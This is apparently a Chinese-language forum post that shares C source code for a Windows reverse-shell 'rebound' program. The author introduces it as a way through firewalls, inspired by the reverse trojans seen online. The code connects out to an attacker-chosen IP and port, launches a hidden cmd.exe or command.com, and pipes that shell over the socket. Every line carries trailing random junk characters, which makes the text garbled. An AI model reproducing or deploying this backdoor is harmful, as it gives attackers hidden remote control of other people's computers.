这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 $N5VoK
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/* ============================== Xl#vVyO
Rebound port in Windows NT 1(gb-u0
By wind,2006/7 %/oOM\}++
===============================*/ t^ Aios~F
#include Fla[YWS
#include [@";\C_I
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#pragma comment(lib,"wsock32.lib") -3qB,KT
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void OutputShell(); PkLRQ}
SOCKET sClient; &{7n
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ::dLOf8o
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void main(int argc,char **argv) =3{h9
{ ~4U[p 50
WSADATA stWsaData; b)en/mz
int nRet; C:hfI;*7
SOCKADDR_IN stSaiClient,stSaiServer; >L$y|8O
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if(argc != 3) F]
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{ +#6WORH0S
printf("Useage:\n\rRebound DestIP DestPort\n"); Eg3rbqM- 8
return; YZ7rs]A
} R#
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WSAStartup(MAKEWORD(2,2),&stWsaData); 5dMIv<#T`
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); s2@N&7"u)
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stSaiClient.sin_family = AF_INET; @!Il!+^3
stSaiClient.sin_port = htons(0); teUCK(;23
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); $.QnM
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 1HN_
{ BtBo%t&
printf("Bind Socket Failed!\n"); "ltvD\
return; =oluw|TCe7
} `-\4Dx1!q
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stSaiServer.sin_family = AF_INET; q+~z# jFX
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); lBR6O!sBP
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); Jb6rEV>
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 8.o[K
{ Al3Hu-Hf;`
printf("Connect Error!"); b]g}h
return; %pc0a^iB
} ve1jLjsB
OutputShell(); 69cOdIt^D
} t}cj8DC!
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void OutputShell() ~"gOq"y5p
{ 7Hf6$2Wh
char szBuff[1024]; Sj+gf~~
SECURITY_ATTRIBUTES stSecurityAttributes; m,K\e
OSVERSIONINFO stOsversionInfo; RL~\/#
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; #Jy+:|jJ
STARTUPINFO stStartupInfo; L
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char *szShell; |O+R%'z'<
PROCESS_INFORMATION stProcessInformation; E5jK}1t4V
unsigned long lBytesRead; /Or76kE
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Fy`VQ\%7t
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); Yl&eeM
stSecurityAttributes.lpSecurityDescriptor = 0; 5>j,P
stSecurityAttributes.bInheritHandle = TRUE; k|BY 7C
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ,$}P<WZMu
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ,G"?fQ7z R
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); &'WgBjP
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; -hQ=0h~\B.
stStartupInfo.wShowWindow = SW_HIDE; 7vNS@[8
stStartupInfo.hStdInput = hReadPipe; T(a*d7
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; O_-.@uo./(
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GetVersionEx(&stOsversionInfo); p J+>qy5
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switch(stOsversionInfo.dwPlatformId) T >g1!
-^
{ %T}{rU~X
case 1: O5_[T43
szShell = "command.com"; eP&K]#
break; ; y=w :r\A
default: Oq*a4_R'YV
szShell = "cmd.exe"; .NCQiQ
break; aZ5qq+1x
} ++R-_oQ
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 4d!&.Qo9
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send(sClient,szMsg,77,0); >8t(qM-~:
while(1) O5_E"um
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PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); dXe763~<
if(lBytesRead) ~i))Zc3,g\
{ m1\>v?=K
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); XiKv2vwA
send(sClient,szBuff,lBytesRead,0); {EW}Wd
} tDy1Gh/c
else RvDqo d
{ "9LPq
lBytesRead=recv(sClient,szBuff,1024,0); m"86O:S#d
if(lBytesRead<=0) break; +(PtOo.
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); at7/KuY!~
} YyK9UZjI
} +ZizT.$&
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return; @{+*ea7M(`
}